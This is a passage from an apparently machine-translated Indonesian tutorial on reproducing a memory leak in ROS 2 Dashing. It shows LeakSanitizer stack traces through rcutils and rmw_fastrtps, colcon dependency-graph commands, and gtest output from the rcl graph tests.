> > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
#5 0x7f7624ce1c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#6 0x7f7624ce20d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#7 0x7f7627dd4a25 in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_dynamic_cpp/src/rmw_node_info_and_types.cpp:64
#8 0x7f762811a875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#9 0x5565b057589d in TestGraphFixture__rmw_fastrtps_dynamic_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#10 0x5565b062d9c5 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#11 0x5565b061fb19 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#12 0x5565b05cc601 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#13 0x5565b05cda2c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#14 0x5565b05ce5d0 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#15 0x5565b05e96e1 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#16 0x5565b0630478 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#17 0x5565b0621de2 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#18 0x5565b05e6475 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#19 0x5565b05b99c4 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#20 0x5565b05b990a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#21 0x7f7626a81b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)"
```
Bug pertama ini tampaknya berlaku untuk rcltetapi macet di rcutils. Mari kita lihat apakah kita dapat memvisualisasikan hubungannya dengan bug yang terdeteksi. Pertama, mari kita buat grafik lengkap hubungannya:
```bash
colcon list --topological-graph-dot | dot -Tpng -o deps.png
```
Ini akan menghasilkan laporan semua bug dinamis yang ditemukan saat meninjau ROS 2 Dashing Diademata dengan pembersih ASan. Plot yang dihasilkan tersedia di deps_all.png ( peringatan : file ini berukuran 27M). Terus terang ini terlalu rumit untuk dipahami, jadi mari kita coba untuk menyederhanakan plot:
```bash
colcon list --topological-graph-dot --packages-above-depth 1 rcutils | dot -Tpng -o deps.png
```
legenda: biru=membangun, merah=menjalankan, coklat=menguji, putus-putus=tidak langsung
Dalam grafik ini kita dapat melihat bahwa rcutilspaket tersebut digunakan oleh berbagai paket lain dan kemungkinan besar, kebocoran tersebut terjadi melalui salah satu pengujian terkait rcl. Selanjutnya, mari kita coba mereproduksi bug tersebut dengan menemukan pengujian yang tepat yang memicu kebocoran memori.
Bersiap untuk melakukan debug
Mari kita temukan tes yang benar-benar memungkinkan kita untuk mereproduksi ini: ~~~smallcontent
# source the install directory
source /opt/ros2_asan_ws/install-asan/setup.bash
cd /opt/ros2_asan_ws/build-asan/rcl
./test_graph__rmw_fastrtps_cpp
this will produce:
Dump of `test_graph__rmw_fastrtps_cpp`
~~~smallcontent
```bash
# source the worspace itself
source install-asan/setup.bash
# cd <whatever test dir>
## Launch the actual failing test
./test_graph__rmw_fastrtps_cpp
Running main() from /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 14 tests from 2 test cases.
[----------] Global test environment set-up.
[----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types (23 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types (20 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_names_and_types_init
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_names_and_types_init (22 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_publisher_names_and_types_by_node
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_publisher_names_and_types_by_node
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_publisher_names_and_types_by_node (19 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_subscriber_names_and_types_by_node
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_subscriber_names_and_types_by_node
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_subscriber_names_and_types_by_node (21 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types_by_node
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node:
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: _InvalidNodeName
[ERROR] [rmw_fastrtps_shared_cpp]: Unable to find GUID for node: /test_rcl_get_service_names_and_types_by_node
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_service_names_and_types_by_node (24 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_publishers
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_publishers (19 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_subscribers
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_count_subscribers (20 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_query_functions
[INFO] [rcl]: Try 1: 0 publishers, 0 subscribers, and that the topic is not in the graph.
[INFO] [rcl]: state correct!
[INFO] [rcl]: Try 1: 1 publishers, 0 subscribers, and that the topic is in the graph.
[INFO] [rcl]: state correct!
[INFO] [rcl]: Try 1: 1 publishers, 1 subscribers, and that the topic is in the graph.
[INFO] [rcl]: state correct!
[INFO] [rcl]: Try 1: 0 publishers, 1 subscribers, and that the topic is in the graph.
[INFO] [rcl]: state correct!
[INFO] [rcl]: Try 1: 0 publishers, 0 subscribers, and that the topic is not in the graph.
[INFO] [rcl]: state correct!
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_query_functions (22 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_guard_condition_topics
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '400000000' nanoseconds for graph changes
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_graph_guard_condition_topics (1234 ms)
[ RUN ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_service_server_is_available
[INFO] [rcl]: waiting up to '1000000000' nanoseconds for graph changes
[INFO] [rcl]: waiting up to '1000000000' nanoseconds for graph changes
[ OK ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_service_server_is_available (36 ms)
[----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp (1460 ms total)
[----------] 3 tests from NodeGraphMultiNodeFixture
[ RUN ] NodeGraphMultiNodeFixture.test_node_info_subscriptions
[ OK ] NodeGraphMultiNodeFixture.test_node_info_subscriptions (1037 ms)
[ RUN ] NodeGraphMultiNodeFixture.test_node_info_publishers
[ OK ] NodeGraphMultiNodeFixture.test_node_info_publishers (1040 ms)
[ RUN ] NodeGraphMultiNodeFixture.test_node_info_services
[ OK ] NodeGraphMultiNodeFixture.test_node_info_services (1035 ms)
[----------] 3 tests from NodeGraphMultiNodeFixture (3112 ms total)
[----------] Global test environment tear-down
[==========] 14 tests from 2 test cases ran. (4572 ms total)
[ PASSED ] 14 tests.
=================================================================
==30425==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f5277fd6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
#3 0x7f5275880362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
#4 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#5 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#6 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#7 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#8 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#9 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#10 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#11 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#12 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#13 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#14 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#15 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#16 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#17 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#18 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#19 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#20 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f52781f7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
#3 0x7f5277fd6b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
#4 0x7f5275880362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
#5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 23 byte(s) in 1 object(s) allocated from:
#0 0x7f5278a99b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x7f52781e5465 in __default_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:35
#2 0x7f52781f7c2f in rcutils_strndup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:42
#3 0x7f52781f7bae in rcutils_strdup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:33
#4 0x7f5275880a99 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:248
#5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f52781f7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
#3 0x7f527588077a in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:238
#4 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#5 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#6 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#7 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#8 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#9 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#10 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#11 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#12 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#13 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#14 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#15 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
